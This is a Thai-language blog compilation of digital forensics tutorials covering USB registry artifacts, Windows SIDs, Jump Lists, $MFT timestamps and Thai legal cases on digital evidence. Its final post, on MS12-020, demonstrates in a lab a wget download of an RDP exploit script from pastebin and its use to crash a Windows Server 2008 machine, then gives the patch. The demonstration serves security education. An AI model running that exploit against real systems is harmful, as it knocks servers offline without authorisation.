Digital Forensics: USB Forensics

Digital Forensics: USB Forensics >  Windows OS 1

(Update 2017)
     สิ่งที่ท่านต้องพิจารณาในการตรวจสอบว่ามีการ เสียบ USB Flash Drive บนเครื่องคอมพิวเตอร์ที่ท่านตรวจสอบบนระบบ windows  จะถูกเก็บอยู่ใน registry

USB Devices

เมื่ออุปกรณ์ USB ถูกเชื่อมต่อเข้ากับคอมพิวเตอร์ Windows ในครั้งแรก   ระบบ Plug and Play (PnP) Manager ได้รับการแจ้งเตือน และมีการ query เพื่อระบุ device class identifier (device class ID) และพยายามหา driver ของอุปกรณ์นั้น

การค้นหาและติดตั้ง driver ที่ถุกต้องกับอุปกรณ์นั้นได้ถูกบันทึกอยู่ในไฟล์ setupapi.log หรือไฟล์ setupapi.dev.log (Windows 7).

log file นี้เป็นแหล่งข้อมูลที่มีคุณค่ามากสำหรับผู้ทำ forensic เนื่องจากมีข้อมูล วันและเวลาที่อุปกรณ์ที่ usb นั้นถูกเชื่อมต่อเข้าเป็นครั้งแรกกับระบบ

Windows XP - "C:\Windows\setupapi.log"

Windows 7 - "C:\Windows\inf\setupapi.dev.log“

    รูปภาพแสดงรายละเอียดใน registry เพื่อใช้ในการตรวจ USB Flash Drive

Windows XP 

10 ขั้นตอนในการหาร่องรอยจาก USB Drive จาก SANS 

USB Forensics

Windows Vista  

7 ขั้นตอนในการหาร่องรอยจาก USB Drive จาก SANS 

USB Forensics

 

HKLM\System\CurrentControlSet\Enum\USBSTOR
โดยภายใต้ key ดังกล่าวจะเป็นรายชื่อและ Product ,Version รุ่นของอุปกรณ์ USB ที่เชื่อมต่อเข้ากับคอมพิวเตอร์ที่ทำการตรวจสอบ

USBSTOR

 ProductName เป็นชื่อรุ่นของอุปกรณ์

 VendorName เป็นชื่อของผู้ผลิตของอุปกรณ์

เราสามารถดู หมายเลข serial number ของอุปกรณ์ USB ที่เสีบเข้าเครื่องนั้นสามารถดูได้จาก sub key ของ registry

Determine Last Time Device Connected 

การดูเวลาครั้งสุดท้ายที่ USB thumb drive ถูกเสียบเข้าเครื่องคอมพิวเตอร์นั้นเราจะอาศัยการดู Last Write Time ของ registry key  HKLM\SYSTEM\CurrentControlSet\Control\DeviceClasses\

 Download pdf file
USB Forensics sheet

Reference :
http://forensics.sans.org
http://twitter.com/sansforensics

Digital Forensics: USB Forensics >  Part 2

#USB Forensics
หมายเหตุ:เนื้อหาในเว็บไซต์นี้มีขึ้นเพื่อวัตถุประสงค์ในการให้ข้อมูลและเพื่อการศึกษาเท่านั้น

* หากมีข้อมูลข้อผิดพลาดประการใด ขออภัยมา ณ ที่นี้ด้วย  รบกวนแจ้ง Admin เพื่อแก้ไขต่อไป
ขอบคุณครับ

#WindowsForensic #computerforensic #ComputerForensics #dfir #forensics
#digitalforensics #investigation #cybercrime #fraud

Digital Forensics:Network Forensics Analysis

Digital Forensics:Network Forensics Analysis

A New Paradigm in Network Security

Download
https://sharkfestus.wireshark.org/sf12

หมายเหตุ:เนื้อหาในเว็บไซต์นี้มีขึ้นเพื่อวัตถุประสงค์ในการให้ข้อมูลและเพื่อการศึกษาเท่านั้น

* หากมีข้อมูลข้อผิดพลาดประการใด ขออภัยมา ณ ที่นี้ด้วย  รบกวนแจ้ง Admin เพื่อแก้ไขต่อไป
ขอบคุณครับ

#WindowsForensic #computerforensic #ComputerForensics #dfir #forensics
#digitalforensics #investigation #cybercrime #fraud

DIGITAL FORENSICS: Security Identifier (SID)

DIGITAL FORENSICS: Security Identifier SID คือ

Security Identifier (SID) เป็นค่าที่ระบุถึง Object ประจำตัว User หรือ Account นั้น ๆ เพื่อใช้ระบุการรักษาความปลอดภัยในระบบปฏิบัติการ Windows (พูดง่าย ๆ คือเอาไว้เพื่อประกอบการตั้งค่าการควบคุมการเข้าถึงทรัพยากรในระบบ เช่นการใช้งาน Share Files หรือ ทรัพยากรอื่น ๆ ในระบบ)

WMIC

Get SID of user - Windows Command Line

wmic useraccount get name,sid

SID  wikihow.com

ตัวอย่าง SID Account ทั่วไป ของ System

S-1-1-0 Everyone

S-1-3-0 Creator Owner

S-1-5-1 Dialup

S-1-5-2 Network

S-1-5-3 Batch

S-1-5-4 Interactive

S-1-5-7 Anonymous

S-1-5-9 Enterprise Domain Controllers

S-1-5-11 Authenticated Users

S-1-5-13 Terminal Server Users

ตัวอย่าง SID Account ทั่วไปของ User

S-1-5-{Domain}-500 Administrator

S-1-5-{Domain}-501 Guest

S-1-5-{Domain}-512 Domain Admins

S-1-5-{Domain}-513 Domain Users

S-1-5-{Domain}-514 Guests

S-1-5-{Domain}-515 Domain Computers

S-1-5-{Domain}-516 Domain Controllers

S-1-5-{Domain}-518 Schema Admins

S-1-5-{Domain}-519 Enterprise Admins

S-1-5-{Domain}-544 Administrators

S-1-5-{Domain}-545 Users

http://www.mvpskill.com

S = ค่าของ String ที่ระบุว่าเริ่มต้น SID

1 = ค่า Version ของ SID นั้น ๆ

5 = ค่าระบุ Identifier

21-3273191534-3683084754-2821217130 = ค่า SID ของ Local Computer หรือ Domain Computer ประจำเครื่อง หรือ ประจำ Domain

500 = สิทธิของ SID นั้น ๆ เช่น 500 หมายถึงได้สิทธิเป็น Administrator (สามารถนำไปหาค่าได้จากตารางเบื้องต้นด้านบน)

ที่มา: By Suttipan Passornmvpskill  https://bit.ly/2Evrys3

        How to Find a User's Security Identifier (SID) in Windows

       Windows Registry Forensics

หมายเหตุ:เนื้อหาในเว็บไซต์นี้มีขึ้นเพื่อวัตถุประสงค์ในการให้ข้อมูลและเพื่อการศึกษาเท่านั้น


* หากมีข้อมูลข้อผิดพลาดประการใด ขออภัยมา ณ ที่นี้ด้วย  รบกวนแจ้ง Admin เพื่อแก้ไขต่อไป
ขอบคุณครับ

#windowsforensics #WindowsForensic #ComputerForensics #dfir #forensics #digitalforensics #computerforensic #investigation #cybercrime #fraud

Digital Forensics: ตัวอย่างคดี พยานหลักฐานดิจิทัล

Digital Forensics:  ตัวอย่างคดี พยานหลักฐานดิจิทัล

Digital Forensics: Case Study 

#ความลับทางการค้า

      คำพิพากษาศาลฎีกาที่ 1323/2560
      พ.ร.บ.ความลับทางการค้า พ.ศ.2545 ม. 3
พ.ร.บ.ความลับทางการค้า พ.ศ.2545 มาตรา 3 บัญญัตินิยามของความลับทางการค้าว่า "ข้อมูลการค้าซึ่งยังไม่รู้จักกันโดยทั่วไป หรือยังเข้าถึงไม่ได้ในหมู่บุคคลซึ่งโดยปกติแล้วต้องเกี่ยวข้องกับข้อมูลดังกล่าว โดยเป็นข้อมูลที่มีประโยชน์ในเชิงพาณิชย์เนื่องจากเป็นความลับ และเป็นข้อมูลที่ผู้ควบคุมความลับทางการค้าได้ใช้มาตรการที่เหมาะสมเพื่อรักษาไว้เป็นความลับ" โจทก์จึงมีหน้าที่นำสืบว่าข้อมูลเกี่ยวกับรายชื่อ ที่อยู่ และราคาค่าจ้างขนส่งตามฟ้อง ที่โจทก์กล่าวอ้างว่าเป็นความลับทางการค้า มีลักษณะครบถ้วนที่จะเป็นความลับทางการค้าตามที่มาตรา 3 ดังกล่าวกำหนดไว้ การที่พนักงานบริษัทโจทก์คนอื่นนอกเหนือจากจำเลยที่ 2 สามารถเข้าถึงข้อมูลเกี่ยวกับรายชื่อ ที่อยู่ และราคาค่าจ้างขนส่งทั้งที่เป็นเอกสาร และเป็นข้อมูลในเครื่องคอมพิวเตอร์แสดงว่าโจทก์ไม่ได้ใช้มาตรการที่เหมาะสมเพื่อรักษาข้อมูลดังกล่าวไว้เป็นความลับ ข้อมูลเกี่ยวกับรายชื่อ ที่อยู่ และราคาค่าจ้างขนส่งตามฟ้องโจทก์ จึงไม่ใช่ความลับทางการค้า ตาม พ.ร.บ.ความลับทางการค้า พ.ศ.2545 มาตรา 3


#เค้าโครงบรรยาย  วิชา กฎหมายเกี่ยวกับอินเตอร์เน็ต  Download


#มาตรา 25 ธุรกรรมทางอิเล็กทรอนิกส์ใดที่ได้กระทำตามวิธีการแบบปลอดภัยที่กำหนดในพระราชกฤษฎีกา ให้สันนิษฐานว่าเป็น วิธีการที่เชื่อถือได้
#ว่าด้วยวิธีการแบบปลอดภัยในการทำธุรกรรมทางอิเล็กทรอนิกส์พ.ศ. ๒๕๕๓  Download

#การรับฟังและวิธีการนําสืบพยานหลักฐานอิเล็กทรอนิกส์ในคดีอาญา :ศึกษาตามพระราชบัญญัติว่าด้วยการกระทําความผิดเกี่ยวกับคอมพิวเตอร์ พ.ศ. 2550 Donwload
 #พยานหลักฐานที่ได้มาจากเฟซบุ๊ก : คำพิพากษาฎีกาที่ 15386/2558  Download



ข้อสังเกต พยานหลักฐานที่ได้มาโดยวิธีการล่อให้กระทำความผิด (ENTRAPMENT)

คำพิพากษาศาลฎีกาที่ 4065/2545 และ 4301/2543

หน่วยที่ 12
    การรับฟังพยานหลักฐานในคดัอาญา ศาสตราจารย์พิเศษ ภัทรศักดิ์ วรรณแสง
ที่มา: https://bit.ly/2WBIS6g



#แห่แจ้งป.จับ นายหน้าประกันภัยรถ

คปภ.พร้อมตัวแทนบริษัทประกันภัย 10 บริษัท และผู้เสียหายถูกหลอกซื้อประกันภัยรถยนต์ 30 คน สูญกว่า 5 ล้านบาท โร่ร้องกองปราบฯ ให้ดำเนินคดีบริษัทนายหน้าหลอกขายประกันและสาวแสบตัวแทนขาย แฉเหยื่อหลงเชื่อ เพราะเห็นกับการผ่อนได้โดยไม่เสียดอกเบี้ยหรือเสนอขายในราคาถูก แนะให้หาข้อมูลบริษัทนายหน้าก่อน ตร.เตือน อย่าไปหลงเชื่อกับโปรโมชั่นพิเศษ

เหยื่อประกันภัยรถยนต์แจ้งจับบริษัทนายหน้าหลอกขายประกันและตัวแทนขาย เปิดเผยขึ้นที่กองบังคับการปราบปราม เมื่อเวลา 10.00 น. วันที่ 24 ม.ค. นายตนุภัทร รัตนพูลชัย รองเลขาธิการด้านกฎหมาย คดีและคุ้มครอง สำนักงานคณะกรรมการกำกับและส่งเสริมการประกอบธุรกิจประกันภัย (คปภ.) พร้อมตัวแทนบริษัทประกันภัย 10 บริษัท และผู้เสียหายถูกหลอกซื้อประกันภัยรถยนต์ 30 คน มูลค่าความเสียหาย 5 ล้านบาท เข้าพบ พ.ต.อ.ชาคริต สวัสดี รอง ผบก.ป. แจ้งความดำเนินคดีกับบริษัท ที.ไอ.เอส. ควอลิตี้ แมเนจเม้นท์ จำกัด และ น.ส.จุฑาภาส อังกาพย์ ฐานะกรรมการบริษัท ในฐานความผิดกระทำ การเป็นตัวแทนประกันวินาศภัยหรือนายหน้าประกัน วินาศภัยโดยไม่ได้รับอนุญาตจากนายทะเบียน โดยนำ เอกสารหลักฐานการโอนเงินของผู้เสียหาย มามอบให้พนักงานสอบสวนประกอบพิจารณาคดี

ที่มา:โดย ไทยรัฐฉบับพิมพ์
25 ม.ค. 2561 05:15 น.
https://bit.ly/2HYRX49

ทั้งนี้ จากการหารือของบริษัทประกันภัยที่ได้รับความเสียหายจากการกระทำของบริษัท ถูกกล่าวหา จำกัด มีความเห็นสอดคล้องกันว่า กรณีที่บริษัท ถูกกล่าวหา จำกัด กระทำการใช้เอกสารใบคำขอเอาประกันภัย ซึ่งไม่ใช่เอกสารของบริษัทประกันภัย เป็นการกระทำที่น่าจะเกิดความเสียหายแก่ผู้อื่นหรือประชาชน เป็นความผิดฐานปลอมเอกสาร ซึ่งบริษัทประกันภัยจะดำเนินการร้องทุกข์ต่อพนักงานสอบสวนต่อไป อีกทั้งบริษัทประกันภัยที่ได้รับความเสียหายจากกรณีที่บริษัท ถูกกล่าวหา จำกัด กระทำการใช้ตราสัญลักษณ์ของบริษัทลงโฆษณาในเว็บไซต์ www.ถูกกล่าวหา .com อาจทำให้ประชาชนเข้าใจผิดและหลงเชื่อว่าบริษัท ถูกกล่าวหา จำกัด เป็นตัวแทนหรือนายหน้าประกันภัยที่ได้รับมอบหมายจากบริษัท ซึ่งไม่เป็นความจริง เป็นความผิดตามมาตรา 14 (1) แห่งพระราชบัญญัติว่าด้วยการกระทำความผิดเกี่ยวกับคอมพิวเตอร์ (ฉบับที่ 2) พ.ศ. 2560 และบริษัทประกันภัยทุกบริษัทพร้อมที่จะดำเนินการตามกฎหมายกับบริษัท ถูกกล่าวหา จำกัด ให้ถึงที่สุด
 - ฉ้อโกงประชาชนและฟอกเงิน
- ข้อหาใช้หรือแสดงตัวเป็นประกันภัยโดยผิดกฎหมาย   
- เป็นนายหน้านิติบุคคลโดยไม่ได้รับอนุญาต 
- พรบคอม.
ที่มา:https://bit.ly/2HR1YRI
Download



หมายเหตุ:เนื้อหาในเว็บไซต์นี้มีขึ้นเพื่อวัตถุประสงค์ในการให้ข้อมูลและเพื่อการศึกษาเท่านั้น

* หากมีข้อมูลข้อผิดพลาดประการใด ขออภัยมา ณ ที่นี้ด้วย  รบกวนแจ้ง Admin เพื่อแก้ไขต่อไป
ขอบคุณครับ

#หลักฐานดิจิทัล #hashvalue #WindowsForensic #computerforensic #ComputerForensics #dfir #forensics #digitalforensics #investigation #cybercrime #fraud #พยานหลักฐานดิจิทัล

Digital Forensics:Jump list

Digital Forensics:Jump list

Jump list เป็นคุณลักษณะที่นำมาใช้ใน Windows 7 ช่วยให้คุณสามารถดูเอกสารล่าสุดในโปรแกรมที่ถูก Pin ไว้ที่ทาสก์บาร์ของคุณ รูปภาพเป็นตัวอย่างของJump listใน Windows 7 

Jump Lists ที่ว่านี่ จะเป็นรายการทางลัดการแสดงผลประวัติรายการที่เคยถูกเรียกใช้งานบ่อยๆ ไม่ว่าจะเป็นไฟล์เอกสาร Microsoft Office, เว็บเบราว์เซอร์, File Explorer, โปรแกรมมัลติมีเดีย, Text Editor ต่างๆ, ฯลฯ โดยเมื่อมีการเปิดเรียกใช้งานตัวโปรแกรม แล้วผู้ใช้งานสั่งคลิกขวาที่ทาสก์บาร์ ก็จะมีประวัติรายการรายชื่อไฟล์ที่เคยถูกเรียกใช้งานแสดงขึ้นมา

Jump list ทำหน้าที่เก็บรายการไฟล์ล่าสุดที่เราเรียกเปิดโปรแกรมต่างๆ มาว่าจะเป็นไฟล์เอกสาร ไฟล์เพลง ไฟล์วิดีโอ หรือไฟล์อื่นๆ เราเพียงคลิกขวาที่ไอคอน Windows Explorer ที่ Taskbar ก็จะเห็นรายการไฟล์ที่เรียกใช้ จุดประสงค์ของฟีเจอร์นี้ก็เพื่อให้ผู้ใช้คลิกเลือกไฟล์ที่เคยเปิดใช้แล้วที่นี่ ในกรณีที่ต้องการใช้ใหม่ในครั้งต่อไป จะได้รวดเร็วไม่ต้องไปคลิกที่ตัวไฟล์หรือโปรแกรม แต่ถ้าคุณเป็นคนที่ไม่ต้องการให้คนอื่นมาคลิกดูว่าคุณเคยเปิดใช้ไฟล์อะไรมาก่อน ก็สามารถเอาชื่อไฟล์ออกจากรายการได้

วิธีล้างรายการไฟล์ทำได้ดังนี้

ให้คลิกขวาที่ไอคอน Windows Explorer ที่ Taskbar ?จะมีรายการไฟล์แสดงออกมาให้คลิกขวาที่รายการที่ต้องการเอาออกเลือกคำสั่ง Remove form this list

 

รูปจาก notebookspec.com

 

ในกรณีที่ไม่ต้องการให้ Jump List จำค่าการใช้งานไฟล์เลย ก็ทำได้โดย ให้คลิกขวาที่ Taskbar เลือกคำสั่ง Properties ที่หน้าต่าง Taskbar Properties มาที่แท็บ Jump Lists ให้คลิกเอาเครื่องหมายถูกออกจาก

Store recently opened programs และ Store and display recently opened items in Jump Lists แล้วคลิก OK

 

รูปจาก notebookspec.com

 Jump List files are created on a per user basis, and located (the AppData directory is hidden by default from the user):
\Users\<username>\AppData\Roaming\Microsoft\Windows\Recent\
‘%systemdrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations’

Episode 16: “Quick Win” files #2 - Jumplists-Part 1

Episode 17: “Quick Win” files #2 - Jumplists-Part 2

 

 

ref:

jumplist

notebookspec.com jump-list

forensic-analysis-of-windows-7-jump-lists/

windows-10-jump-list-forensics/ 

ศึกษาเพิ่มเติม Windows Artifacts Jump list(Part II)

#WindowsForensic #ComputerForensics #dfir #forensics #digitalforensics #computerforensic #investigation #cybercrime #fraud

หมายเหตุ:เนื้อหาในเว็บไซต์นี้มีขึ้นเพื่อวัตถุประสงค์ในการให้ข้อมูลและเพื่อการศึกษาเท่านั้น
* หากมีข้อมูลข้อผิดพลาดประการใด ขออภัยมา ณ ที่นี้ด้วย  รบกวนแจ้ง Admin เพื่อแก้ไขต่อไป
ขอบคุณครับ

Digital Forensics:When a partition was created/Modify (Master File Table)

Digital Forensics:When a partition was created/Modify (Master File Table)

 วันนี้มาดูวิธีตรวจสอบ เวลาที่พาร์ติชั่นถูกสร้างขึ้นและวันเวลาที่ติดตั้ง windows

MFT หรือ Master File Table เป็นไฟล์ในระบบไฟล์แบบ NTFS โดยจะรวบรวมข้อมูลของไฟล์ รายละเอียดของไฟล์และไดเร็กทอรี่ทั้งหมด ในไดร์ฟนั้นๆ

ตัวอย่างที่ 1 $MFT  Master File Table   Date Create 26-3-2012

ตัวอย่างที่ 1 Windows XP 

$MFT  Master File Table   Date Create 26-3-2012

                                          Date Modify 26-3-2012

                                          Date Access 26-3-2012

โดยปกติไฟล์ $MFT จะถูกสร้างขึ้นโดยอัตโนมัติเมื่อมีการฟอร์แมตหรือเปลี่ยนพาร์ติชันของดิสก์เป็น NTFS โดยวันที่และเวลาที่ไฟล์ $MFT ถูกสร้างขึ้น (หรือวันที่และเวลาที่ดิสก์ถูกฟอร์แมต) จะถูกระบุอยู่ในคุณลักษณะของไฟล์ $MFT ที่หัวข้อ Date created ซึ่งในกรณีโดยส่วนใหญ่ที่ดิสก์ดังกล่าวถูกติดตั้งระบบปฏิบัติการ ไฟล์ของระบบปฏิบัติการจะมีวันที่และเวลาที่ถูกสร้างใกล้เคียงหรือสอดคล้องกับค่า Date created ใน $MFT ตามรูปภาพ ตัวอย่างที่ 1

Original Install Date:

Windows Original Install Date: 26-3-2012

ตัวอย่างที่ 2 Windows Original Install Date: 24-9-2019    

ตัวอย่างที่ 2  Windows 7 Professional 

$MFT  Master File Table   Date Create: 24-9-2019

           Windows Original Install Date:     24-9-2019                         

จุดสังเกต
 1 .  $MFT  Master File Table   (MAC TIme)
 2.  Systeminfo (Original Install Date)
 3.  Volume Serial Number  ของ Partition

อ่านเพิ่มเต้ิม

How to export Master File Table to csv

http://www.cse.scu.edu/~tschwarz/coen252_07Fall/Lectures/NTFS.html
how-to-extract-data-and-timeline-from-master-file-table-on-ntfs-filesystem/

หมายเหตุ:เนื้อหาในเว็บไซต์นี้มีขึ้นเพื่อวัตถุประสงค์ในการให้ข้อมูลและเพื่อการศึกษาเท่านั้น

* หากมีข้อมูลข้อผิดพลาดประการใด ขออภัยมา ณ ที่นี้ด้วย  รบกวนแจ้ง Admin เพื่อแก้ไขต่อไป
ขอบคุณครับ

#WindowsForensic #ComputerForensics #dfir #forensics #digitalforensics #computerforensic #investigation #cybercrime #fraud

IT Security: Security Update MS12-020 Remote Desktop

Microsoft Security Bulletin MS12-020 - Critical คือ ช่องโหว่ที่ร้ายแรง อนุญาตให้เรียกใช้โค้ดจากระยะไกลได้ หากผู้โจมตีส่งลำดับของแพ็กเก็ต RDP ที่ออกแบบมาเป็นพิเศษไปยังระบบที่ได้รับผลกระทบ โดยค่าเริ่มต้น Remote Desktop Protocol (RDP)

ทดสอบช่องโหว่  โดยเตรียมเครื่องมือดังนี้

• Kali
• Python2
• Windows2008
• RDPkill.py

Kali# wget -O RDPkill.py http://www.pastebin.com/raw.php?i=G99npvDy 

#chmod 777 RDPkill.py

File RDPkill.7z  ps: 1234 

#python (python2) RDPkill.py 192.168.18.131

ตรวจสอบเครื่องเป้าหมาย windows server 2008 IP: 192.168.18.131

ตรวจสอบว่าเครื่องเป้าหมาบเปิดการทำงาน Remote Desktop

# sudo python2 RDPkill.py 192.168.18.131

ผลการโจมตีทำให้เครื่องเป้าหมายขึ้น  Blue screen

แก้ไขโดย

Microsoft ได้ประกาศ Security Bulletin MS12-020 เพื่อ แจ้งเตือนผู้ใช้งานระบบปฏิบัติการ Windows ทุกเวอร์ชัน ให้ ทำการติดตั้งแพทช์ KB2621440 เพื่อแก้ไขปัญหาช่องโหว่ CVE-2012-0002 ซึ่งอนุญาตให้ผู้ไม่หวังดีส่งแพ็กเกจ RDP (Remote Desktop Protocol) เข้ามายังระบบ เพื่อสั่งให้ ประมวลผลคำสั่งที่ไม่พึงประสงค์จากระยะไกลได้ (Remote Code Execution) [10-1] อย่างไรก็ตาม ถึงแม้ว่าช่องโหว่ดังกล่าวได้ถูกแจ้งมายัง Microsoft โดยตรง และเชื่อว่า ไม่ได้มีการเปิดเผยราย

โดยออกคำแนะนำให้ติดตั้งลงบน Windows ทุกเครื่อง (แม้ว่าไม่ได้ enable RDP ก็ตาม)  ใน Update นี้ มี 2 ไฟล์ (KB2621440 และ KB2667402 )

ที่มา:     security-updates/securitybulletins/2012/ms12-020

                 

             Security-update-ms12-020

#WINDOWSFORENSIC #COMPUTERFORENSICS #DFIR #FORENSICS #DIGITALFORENSICS #COMPUTERFORENSIC #INVESTIGATION #CYBERCRIME #FRAUD #หลักสูตรการพิสูจน์หลักฐานทางดิจิทัล

หมายเหตุ:เนื้อหาในเว็บไซต์นี้มีขึ้นเพื่อวัตถุประสงค์ในการให้ข้อมูลและเพื่อการศึกษาเท่านั้น

* หากมีข้อมูลข้อผิดพลาดประการใด ขออภัยมา ณ ที่นี้ด้วย  รบกวนแจ้ง ADMIN เพื่อแก้ไขต่อไป
ขอบคุณครับ